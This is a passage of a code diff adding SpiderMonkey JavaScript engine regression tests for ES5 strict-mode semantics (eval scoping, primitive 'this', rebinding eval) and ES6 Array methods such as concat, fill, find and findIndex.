+ "eval('\"use strict\"; var x = 2; typeof x');";
+assertEq(testLenientAndStrict(code, returns("number"), returns("number")),
+ true);
+
+code =
+ "eval('var x = 2;'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("number"), returns("undefined")),
+ true);
+
+code =
+ "eval('\"use strict\"; var x = 2;'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "eval('\"use strict\"; var x = 2; typeof x'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " eval('var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("number"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " 'use strict'; " +
+ " eval('var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " eval('\"use strict\"; var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/primitive-assignment.js b/js/src/tests/ecma_5/strict/primitive-assignment.js
new file mode 100644
index 000000000..4b2ee79f0
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/primitive-assignment.js
@@ -0,0 +1,23 @@
+let primitives = [
+ 10,
+ false,
+ "test",
+ Symbol()
+];
+
+let key = "key";
+
+for (let value of primitives) {
+ // Doesn't throw outside strict mode.
+ assertEq(value.x = 5, 5);
+ assertEq(value[key] = 6, 6);
+
+ assertThrowsInstanceOf(function() { "use strict"; value.x = 5; }, TypeError);
+ assertThrowsInstanceOf(function() { "use strict"; value[key] = 6; }, TypeError);
+
+ let target = {};
+ assertEq(Reflect.set(target, key, 5, value), false);
+ assertEq(key in target, false);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/primitive-this-getter.js b/js/src/tests/ecma_5/strict/primitive-this-getter.js
new file mode 100644
index 000000000..55fd79d9d
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/primitive-this-getter.js
@@ -0,0 +1,56 @@
+let primitives = [
+ 10,
+ false,
+ "test",
+ Symbol()
+]
+
+let getter = "getter";
+let getter2 = "getter2";
+let key = "key";
+
+for (let value of primitives) {
+ let prototype = Object.getPrototypeOf(value);
+
+ // Strict getters receive a primitive this value.
+ Object.defineProperty(prototype, "getter", {get: function() {
+ "use strict";
+ assertEq(this, value);
+ return "getter";
+ }})
+
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+
+ // The proxy's [[Get]] trap is also invoked with primitive receiver values.
+ let proxy = new Proxy({}, {
+ get(target, property, receiver) {
+ assertEq(property, "key");
+ assertEq(receiver, value);
+ return "get";
+ }
+ });
+
+ Object.setPrototypeOf(prototype, proxy);
+ assertEq(value.key, "get");
+ assertEq(value[key], "get");
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+
+ // A getter still gets a primitive this value even after going through a proxy.
+ proxy = new Proxy({
+ get getter2() {
+ "use strict";
+ assertEq(this, value);
+ return "getter2";
+ }
+ }, {});
+
+ Object.setPrototypeOf(prototype, proxy);
+ assertEq(value.getter2, "getter2");
+ assertEq(value[getter2], "getter2");
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/primitive-this-no-writeback.js b/js/src/tests/ecma_5/strict/primitive-this-no-writeback.js
new file mode 100644
index 000000000..2f58fb231
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/primitive-this-no-writeback.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Verify that GETTHISPROP does not update the frame's |this| slot. */
+
+var f = String.prototype.m = function () {
+ "use strict";
+ assertEq(this, "s");
+ // The GETTHISPROP should not cause |this| to become wrapped.
+ return [this.m, this];
+};
+var a = "s".m();
+assertEq(a[0], f);
+assertEq(a[1], "s");
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/rebind-eval-should-fail-in-strict-mode.js b/js/src/tests/ecma_5/strict/rebind-eval-should-fail-in-strict-mode.js
new file mode 100644
index 000000000..41f007627
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/rebind-eval-should-fail-in-strict-mode.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BadSyntaxStrings = [
+ "function foo1() { \"use strict\"; try {} catch (eval) {} }",
+ "function foo2() { \"use strict\"; let eval = 9; foo(); }",
+ "function foo3() { \"use strict\"; for (let eval = 3;;) { foo(); }}",
+ "function foo4() { \"use strict\"; for (let eval in {a:1}) { foo(); }}",
+ "function foo5() { \"use strict\"; for (let eval of [1, 2, 3]) { foo(); }}",
+ "function foo6() { \"use strict\"; var eval = 12; }",
+ "function foo7() { \"use strict\"; for (var eval = 3;;) { foo(); }}",
+ "function foo8() { \"use strict\"; for (var eval in {a:1}) { foo(); }}",
+ "function foo9() { \"use strict\"; for (var eval of [1, 2, 3]) { foo(); }}",
+ "function foo10() { \"use strict\"; const eval = 12; }",
+ "function foo11() { \"use strict\"; for (const eval = 3;;) { foo(); }}",
+ "function foo12() { \"use strict\"; return [eval for (eval of [1, 2, 3])]; }",
+ "function foo13() { \"use strict\"; return [eval for (eval in {a:3})]; }",
+ "function foo14() { \"use strict\"; return (eval for (eval of [1, 2, 3])); }",
+ "function foo15() { \"use strict\"; return (eval for (eval in {a:3})); }"
+];
+
+function testString(s, i) {
+ var gotSyntaxError = -1;
+ try {
+ eval(s);
+ } catch(err) {
+ if (err instanceof SyntaxError)
+ gotSyntaxError = i;
+ }
+
+ assertEq(gotSyntaxError, i);
+}
+
+for (var i = 0; i < BadSyntaxStrings.length; i++)
+ testString(BadSyntaxStrings[i], i);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/regress-532041.js b/js/src/tests/ecma_5/strict/regress-532041.js
new file mode 100644
index 000000000..82311f3b9
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/regress-532041.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+
+/*
+ * JSFunction::findDuplicateFormal (nee js_FindDuplicateFormal), used
+ * by strict checks, sometimes failed to choose the correct branch of
+ * the fun->u.i.names union: it used the argument count, not the
+ * overall name count.
+ */
+function f(a1,a2,a3,a4,a5) { "use strict"; var v1, v2, v3, v4, v5, v6, v7; }
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/regress-532254.js b/js/src/tests/ecma_5/strict/regress-532254.js
new file mode 100644
index 000000000..d45dbba6f
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/regress-532254.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('function f(eval,[x]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/regress-599159.js b/js/src/tests/ecma_5/strict/regress-599159.js
new file mode 100644
index 000000000..71a413e2d
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/regress-599159.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Shu's test
+function test(makeNonArray) {
+ function C() {}
+ C.prototype = []
+ if (makeNonArray)
+ C.prototype.constructor = C
+ c = new C();
+ c.push("foo");
+ return c.length
+}
+assertEq(test(true), 1);
+assertEq(test(false), 1);
+
+// jorendorff's longer test
+var a = [];
+a.slowify = 1;
+var b = Object.create(a);
+b.length = 12;
+assertEq(b.length, 12);
+
+// jorendorff's shorter test
+var b = Object.create(Array.prototype);
+b.length = 12;
+assertEq(b.length, 12);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/strict/shell.js b/js/src/tests/ecma_5/strict/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/shell.js
diff --git a/js/src/tests/ecma_5/strict/strict-this-is-not-truthy.js b/js/src/tests/ecma_5/strict/strict-this-is-not-truthy.js
new file mode 100644
index 000000000..ec1a86837
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/strict-this-is-not-truthy.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// See bug 630543.
+
+function f() {
+ "use strict";
+ return !this;
+}
+assertEq(f.call(null), true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_5/strict/this-for-function-expression-recursion.js b/js/src/tests/ecma_5/strict/this-for-function-expression-recursion.js
new file mode 100644
index 000000000..197b4646c
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/this-for-function-expression-recursion.js
@@ -0,0 +1,44 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'this-for-function-expression-recursion.js';
+var BUGNUMBER = 611276;
+var summary = "JSOP_CALLEE should push undefined, not null, for this";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Calling a named function expression (not function statement) uses the
+// JSOP_CALLEE opcode. This opcode pushes its own |this|, distinct from the
+// normal call path; verify that that |this| value is properly |undefined|.
+
+var calleeThisFun =
+ function calleeThisFun(recurring)
+ {
+ if (recurring)
+ return this;
+ return calleeThisFun(true);
+ };
+assertEq(calleeThisFun(false), this);
+
+var calleeThisStrictFun =
+ function calleeThisStrictFun(recurring)
+ {
+ "use strict";
+ if (recurring)
+ return this;
+ return calleeThisStrictFun(true);
+ };
+assertEq(calleeThisStrictFun(false), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/strict/unbrand-this.js b/js/src/tests/ecma_5/strict/unbrand-this.js
new file mode 100644
index 000000000..219d1588e
--- /dev/null
+++ b/js/src/tests/ecma_5/strict/unbrand-this.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Test JSOP_UNBRANDTHIS's behavior on object and non-object |this| values. */
+
+function strict() {
+ "use strict";
+ this.insert = function(){ bar(); };
+ function bar() {}
+}
+
+var exception;
+
+// Try 'undefined' as a |this| value.
+exception = null;
+try {
+ strict.call(undefined);
+} catch (x) {
+ exception = x;
+}
+assertEq(exception instanceof TypeError, true);
+
+// Try 'null' as a |this| value.
+exception = null;
+try {
+ strict.call(null);
+} catch (x) {
+ exception = x;
+}
+assertEq(exception instanceof TypeError, true);
+
+// An object as a |this| value should be fine.
+exception = null;
+try {
+ strict.call({});
+} catch (x) {
+ exception = x;
+}
+assertEq(exception, null);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/template.js b/js/src/tests/ecma_5/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/ecma_5/template.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_6/Array/browser.js b/js/src/tests/ecma_6/Array/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/browser.js
diff --git a/js/src/tests/ecma_6/Array/concat-proxy.js b/js/src/tests/ecma_6/Array/concat-proxy.js
new file mode 100644
index 000000000..ab733e2f1
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/concat-proxy.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1287520;
+var summary = 'Array.prototype.concat should check HasProperty everytime for non-dense array';
+
+print(BUGNUMBER + ": " + summary);
+
+var a = [1, 2, 3];
+a.constructor = {
+ [Symbol.species]: function(...args) {
+ var p = new Proxy(new Array(...args), {
+ defineProperty(target, propertyKey, receiver) {
+ if (propertyKey === "0") delete a[1];
+ return Reflect.defineProperty(target, propertyKey, receiver);
+ }
+ });
+ return p;
+ }
+};
+
+var p = a.concat();
+assertEq(0 in p, true);
+assertEq(1 in p, false);
+assertEq(2 in p, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/concat-spreadable-basic.js b/js/src/tests/ecma_6/Array/concat-spreadable-basic.js
new file mode 100644
index 000000000..c13f8f5cd
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/concat-spreadable-basic.js
@@ -0,0 +1,37 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+"use strict";
+
+const x = Object.freeze([1, 2, 3]);
+
+let fakeArray = {
+ [Symbol.isConcatSpreadable]: true,
+ length: 2,
+ 0: "hello",
+ 1: "world"
+}
+assertDeepEq(x.concat(fakeArray), [1, 2, 3, "hello", "world"]);
+assertDeepEq(x.concat(fakeArray, fakeArray), [1, 2, 3, "hello", "world", "hello", "world"]);
+
+for (let truthy of [true, 3.41, "abc", Symbol(), {}]) {
+ let obj = {[Symbol.isConcatSpreadable]: truthy, length: 1, 0: "hey"}
+ assertDeepEq(x.concat(obj), [1, 2, 3, "hey"]);
+}
+
+for (let notTruthy of [null, undefined, false, 0, NaN, ""]) {
+ let obj = {[Symbol.isConcatSpreadable]: notTruthy, length: 1, 0: "hey"}
+ assertDeepEq(x.concat(obj), [1, 2, 3, obj]);
+}
+
+let array = [5, 4];
+assertDeepEq(x.concat(array), [1, 2, 3, 5, 4]);
+
+// Can make arrays non-spreadable
+array[Symbol.isConcatSpreadable] = false;
+assertDeepEq(x.concat(array), [1, 2, 3, [5, 4]]);
+
+// Explicitly spreadable
+array[Symbol.isConcatSpreadable] = true;
+assertDeepEq(x.concat(array), [1, 2, 3, 5, 4]);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/concat-spreadable-primitive.js b/js/src/tests/ecma_6/Array/concat-spreadable-primitive.js
new file mode 100644
index 000000000..d2264bfa2
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/concat-spreadable-primitive.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+"use strict";
+
+// Primitive values should never be tried to spread
+let primitives = [
+ 10,
+ false,
+ Symbol()
+ // Can't change String.prototype.length
+];
+
+for (let value of primitives) {
+ let prototype = Object.getPrototypeOf(value);
+ prototype[Symbol.isConcatSpreadable] = true;
+
+ Object.defineProperty(prototype, "length", {
+ configurable: true,
+ get() {
+ // Should never invoke length getter
+ assertEq(true, false);
+ },
+ });
+
+ let x = [1, 2].concat(value);
+ assertDeepEq(x, [1, 2, value]);
+
+ delete prototype[Symbol.isConcatSpreadable];
+ delete prototype.length;
+
+ prototype.length;
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/fill.js b/js/src/tests/ecma_6/Array/fill.js
new file mode 100644
index 000000000..70f1e0b52
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/fill.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 911147;
+var summary = 'Array.prototype.fill';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(typeof [].fill, 'function');
+assertEq([].fill.length, 1);
+
+// Default values for arguments and absolute values for negative start and end
+// arguments are resolved correctly.
+assertDeepEq([].fill(1), []);
+assertDeepEq([1,1,1].fill(2), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 1, 2), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, -2), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, -2, -1), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, undefined), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, undefined, undefined), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1, undefined), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, undefined, 1), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, 2, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, -1, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, -2, 1), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 1, -2), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0.9), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 1.1), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 0.1, 0.9), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1, 1.9), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, 0.1, 1.9), [2,1,1]);
+assertDeepEq([1,1,1].fill(2, -0), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, -0), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, NaN), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, NaN), [1,1,1]);
+assertDeepEq([1,1,1].fill(2, false), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, true), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "0"), [2,2,2]);
+assertDeepEq([1,1,1].fill(2, "1"), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "-2"), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, "-2", "-1"), [1,2,1]);
+assertDeepEq([1,1,1].fill(2, {valueOf: ()=>1}), [1,2,2]);
+assertDeepEq([1,1,1].fill(2, 0, {valueOf: ()=>1}), [2,1,1]);
+
+// fill works generically for objects, too.
+assertDeepEq([].fill.call({length: 2}, 2), {0: 2, 1: 2, length: 2});
+
+var setterCalled = false;
+var objWithSetter = {set "0"(val) { setterCalled = true}, length: 1};
+[].fill.call(objWithSetter, 2);
+assertEq(setterCalled, true);
+
+var setHandlerCallCount = 0;
+var proxy = new Proxy({length: 3}, {set(t, i, v, r) { setHandlerCallCount++; return true; }});
+[].fill.call(proxy, 2);
+assertEq(setHandlerCallCount, 3);
+
+var valueOfCallCount = 0;
+var typedArray = new Uint8ClampedArray(3);
+[].fill.call(typedArray, {valueOf: function() {valueOfCallCount++; return 2000;}});
+assertEq(valueOfCallCount, 3);
+assertEq(typedArray[0], 0xff);
+
+// All remaining cases should throw.
+var objWithGetterOnly = {get "0"() {return 1;}, length: 1};
+
+var objWithReadOnlyProp = {length: 1};
+Object.defineProperty(objWithReadOnlyProp, 0, {value: 1, writable: false});
+
+var objWithNonconfigurableProp = {length: 1};
+Object.defineProperty(objWithNonconfigurableProp, 0, {value: 1, configurable: false});
+
+var frozenObj = {length: 1};
+Object.freeze(frozenObj);
+
+var frozenArray = [1, 1, 1];
+Object.freeze(frozenArray);
+
+assertThrowsInstanceOf(() => [].fill.call(objWithGetterOnly, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(objWithReadOnlyProp, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(objWithNonconfigurableProp, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(frozenObj, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(frozenArray, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call("111", 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(null, 2), TypeError);
+assertThrowsInstanceOf(() => [].fill.call(undefined, 2), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/find_findindex.js b/js/src/tests/ecma_6/Array/find_findindex.js
new file mode 100644
index 000000000..6e32ea6b0
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/find_findindex.js
@@ -0,0 +1,285 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 885553;
+var summary = 'Array.prototype.find and Array.prototype.findIndex';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function isString(v, index, array)
+{
+ assertEq(array[index], v);
+ return typeof v == 'string';
+}
+
+function dumpError(e)
+{
+ var s = e.name + ': ' + e.message +
+ ' File: ' + e.fileName +
+ ', Line: ' + e.lineNumber +
+ ', Stack: ' + e.stack;
+ return s;
+}
+
+var expect;
+var actual;
+var obj;
+
+var strings = ['hello', 'Array', 'WORLD'];
+var mixed = [0, '1', 2];
+var sparsestrings = new Array();
+sparsestrings[2] = 'sparse';
+var arraylike = {0:0, 1:'string', 2:2, length:3};
+// array for which JSObject::isIndexed() holds.
+var indexedArray = [];
+Object.defineProperty(indexedArray, 42, { get: function() { return 42; } });
+Object.defineProperty(indexedArray, 142, { get: function() { return 'string'; } });
+
+// find and findIndex have 1 required argument
+
+expect = 1;
+actual = Array.prototype.find.length;
+reportCompare(expect, actual, 'Array.prototype.find.length == 1');
+actual = Array.prototype.findIndex.length;
+reportCompare(expect, actual, 'Array.prototype.findIndex.length == 1');
+
+// throw TypeError if no predicate specified
+expect = 'TypeError';
+try
+{
+ strings.find();
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, 'Array.find(undefined) throws TypeError');
+try
+{
+ strings.findIndex();
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, 'Array.findIndex(undefined) throws TypeError');
+
+// Length gets treated as integer, not uint32
+obj = { length: -4294967295, 0: 42 };
+expected = undefined;
+actual = Array.prototype.find.call(obj, () => true);
+reportCompare(expected, actual, 'find correctly treats "length" as an integer');
+expected = -1
+actual = Array.prototype.findIndex.call(obj, () => true);
+reportCompare(expected, actual, 'findIndex correctly treats "length" as an integer');
+
+// test find and findIndex results
+try
+{
+ expect = 'hello';
+ actual = strings.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'strings: find finds first string element');
+
+try
+{
+ expect = 0;
+ actual = strings.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'strings: findIndex finds first string element');
+
+try
+{
+ expect = '1';
+ actual = mixed.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'mixed: find finds first string element');
+
+try
+{
+ expect = 1;
+ actual = mixed.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'mixed: findIndex finds first string element');
+
+try
+{
+ expect = 'sparse';
+ actual = sparsestrings.find(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'sparsestrings: find finds first string element');
+
+try
+{
+ expect = 2;
+ actual = sparsestrings.findIndex(isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'sparsestrings: findIndex finds first string element');
+
+try
+{
+ expect = 'string';
+ actual = [].find.call(arraylike, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike: find finds first string element');
+
+try
+{
+ expect = 1;
+ actual = [].findIndex.call(arraylike, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike: findIndex finds first string element');
+
+try
+{
+ expect = 1;
+ actual = 0;
+ Array.prototype.find.call({get 0(){ actual++ }, length: 1}, ()=>true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'arraylike with getter: getter only called once');
+
+try
+{
+ expect = 'string';
+ actual = [].find.call(indexedArray, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'indexedArray: find finds first string element');
+
+try
+{
+ expect = 142;
+ actual = [].findIndex.call(indexedArray, isString);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, 'indexedArray: findIndex finds first string element');
+
+// Bug 1058394 - Array#find and Array#findIndex no longer skip holes
+var sparseArray = [,,1];
+var sparseArrayWithInheritedDataProperty = Object.setPrototypeOf([,,1], {
+ __proto__: [].__proto__,
+ 0 : 0
+});
+var sparseArrayWithInheritedAccessorProperty = Object.setPrototypeOf([,,1], {
+ __proto__: [].__proto__,
+ get 0(){
+ throw "get 0";
+ }
+});
+
+try
+{
+ expect = undefined;
+ actual = sparseArray.find(() => true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Don't skip holes in Array#find.");
+
+try
+{
+ expect = 0;
+ actual = sparseArray.findIndex(() => true);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Don't skip holes in Array#findIndex.");
+
+try
+{
+ expect = 0;
+ actual = sparseArrayWithInheritedDataProperty.find(v => v === 0);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Array#find can find inherited data property.");
+
+try
+{
+ expect = 0;
+ actual = sparseArrayWithInheritedDataProperty.findIndex(v => v === 0);
+}
+catch(e)
+{
+ actual = dumpError(e);
+}
+reportCompare(expect, actual, "Array#findIndex can find inherited data property.");
+
+try
+{
+ expect = "get 0";
+ actual = sparseArrayWithInheritedAccessorProperty.find(() => true);
+}
+catch(e)
+{
+ actual = e;
+}
+reportCompare(expect, actual, "Array#find can find inherited accessor property.");
+
+try
+{
+ expect = "get 0";
+ actual = sparseArrayWithInheritedAccessorProperty.findIndex(() => true);
+}
+catch(e)
+{
+ actual = e;
+}
+reportCompare(expect, actual, "Array#findIndex can find inherited accessor property.");
diff --git a/js/src/tests/ecma_6/Array/for_of_1.js b/js/src/tests/ecma_6/Array/for_of_1.js
new file mode 100644
index 000000000..0233c1d27
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/for_of_1.js
@@ -0,0 +1,138 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+// Test the properties and prototype of a generator object.
+function TestManySmallArrays() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var M = 3;
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var arr = new Array(M);
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ TRUE_SUM += j;
+ }
+ sum += doIter(fun, arr);
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestManySmallArrays();
+
+// Test the properties and prototype of a generator object.
+function TestSingleSmallArray() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var M = 3;
+ var arr = new Array(M);
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ TRUE_SUM += j;
+ }
+ TRUE_SUM *= N;
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestSingleSmallArray();
+
+
+function TestChangeArrayPrototype() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var Proto1 = Object.create(Array.prototype);
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ if (i == MID)
+ arr.__proto__ = Proto1;
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeArrayPrototype();
+
+
+function TestChangeManyArrayShape() {
